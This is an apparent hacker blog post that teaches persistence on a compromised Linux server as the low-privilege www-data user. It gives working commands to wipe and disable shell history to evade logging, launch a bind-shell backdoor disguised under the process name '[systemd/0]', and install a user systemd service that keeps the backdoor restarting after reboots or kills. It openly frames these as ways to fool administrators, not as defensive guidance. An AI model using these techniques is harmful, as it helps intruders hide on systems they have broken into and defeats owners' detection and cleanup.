a8888b.
d888888b.
8P"YP"Y88
8|o||o|88
8' .88
8`._.' Y8.
d/ `8b.
dP . Y8b.
d8:' " `::88b
d8" 'Y88b
:8P ' :888
8a. : _a88P
._/"Yaa_: .| 88P|
\ YP" `| 8P `.
/ \.___.d| .'
`--..__)8888P`._.'
┌───────────────────────────────────────────────────┐
| Non-Root Techniques |
\───────────────────────────────────────────────────/
|[0x1] Preventing logs
|[0x2] bind-shell & camouflage the process
|[0x3] Creating a backdoor in systemd
└───────────────────────────────────────────────────┘
[Menu]
Hello People, Today I'm going to explain some techniques that I use on a daily basis in stocks to make me persistent even though I'm an unprivileged user.
For this to be possible, I'm going to put myself in a situation where we're in an initial shell being a www-data user and let's think... how to leave a backdoor?
Well being a user without many privileges we only have a home, and other things... anyway to have a decent persistence I recommend in some cases when you are sure that
the machine is on 24/7, it is recommended to leave your stuff in /dev/shm/ because that's where the shared ram data is located.
shm = shared memory well knowing this I will go by the information that you decided to put yourself in /dev/shm for this. It is recommended to create a directory a + not always
but it's good to create something like /dev/shm/... or something relevant to that. It's important to remember, always clean up your tracks on a machine,
I always like to unset to remove environment variables that will generate logs as they are used.
[0x1] Preventing logs
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST WATCH; history -n; export HISTFILE=/dev/null; history -c
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
To explain this code in a crude way, it would remove environment variables that generate logs such as the zsh bash history.
the history with the -n option is used to read all the commands from the history and load them into memory, but not to display them in the standard output.
export HISTFILE to /dev/null is just to dump my entire command log to /dev/null = empty.
and lastly history -c is to clear the history of the commands we typed previously :D
This way we have a safe, clean and trouble-free entrance
now how could we maintain a persistence as an unprivileged user? i'll cover 1 way of doing this below:
[0x2] bind-shell & camouflage the process
we can use several bind-shells, you can do it in several languages and approaches, I'll use one that I got from github as an example
let's think about it, I think that running backdoor.elf with the cmd appearing in ps aux is a bit crazy, don't you think?
knowing this let's try to mask the process using the power of linux itself! i'll show you in practice how to do this.
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ exec -a "[systemd/0]" ./backdoor & //executing with exec to change the process name
|www-data@server:~$ [1] 546739 //process pid
|www-data@server:~$ ps fHw //Checking the name change
| PID TTY STAT TIME COMMAND
|5422 pts/1 Ss+ 0:00 /usr/bin/zsh
|546739 pts/0 SN 0:00 [systemd/0] //Vuala!
|554847 pts/0 R+ 0:00 ps fHw
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘
I think it's kind of self-explanatory, the -a option being to replace the process name with another one, notice that I put the name as "[systemd/0]" because in standard unix-like processes
it's likely that there are processes that have the same name as [something] I put systemd/0 because systemd is something that already exists in the system and could be confused.
more easily :D
[0x3] Creating a backdoor in systemd
well, if you think the machine might crash and you're afraid of that happening and your backdoor going offline... you can create a systemd-service so that it stays active even after a machine reset
to make this possible we need to go to our user's home and create a directory in ~/.config called systemd para colocar nosso script de systemd la dentro.
our script will be as simple as possible to create a service that runs an executable in /var/www/.config/.../ called backdoor.elf and it will already hide the process with exec :D
let's put one the settings in ~/.config/systemd/user/backdoor.service
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|[Unit]
|Description=cuttie backdoor
|After=network.target
|
|[Service]
|ExecStart=/bin/bash -c 'exec -a "[systemd/0]" /var/www/.config/.../backdoor.elf &'
|Restart=always
|RestartSec=3
|
|[Install]
|WantedBy=multi-user.target
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘
then we'll activate this systemd using the following commands:
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────┐
|www-data@server:~$ systemctl --user daemon-reload //Updating user services
|www-data@server:~$ systemctl --user start backdoor //starting the service
|www-data@server:~$ systemctl --user enable backdoor //service to start automatically on boot
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘
by doing this if the machine shuts down or if the process is killed it will be re-created uwu, so that a dumb sysadmin will take a long time to realize and understand these attempts to figure out HuehuEhUe
that's it I guess... I hope to update this over time if I find a few more things.
this is my first blog post, I hope someone actually reads it... or not :D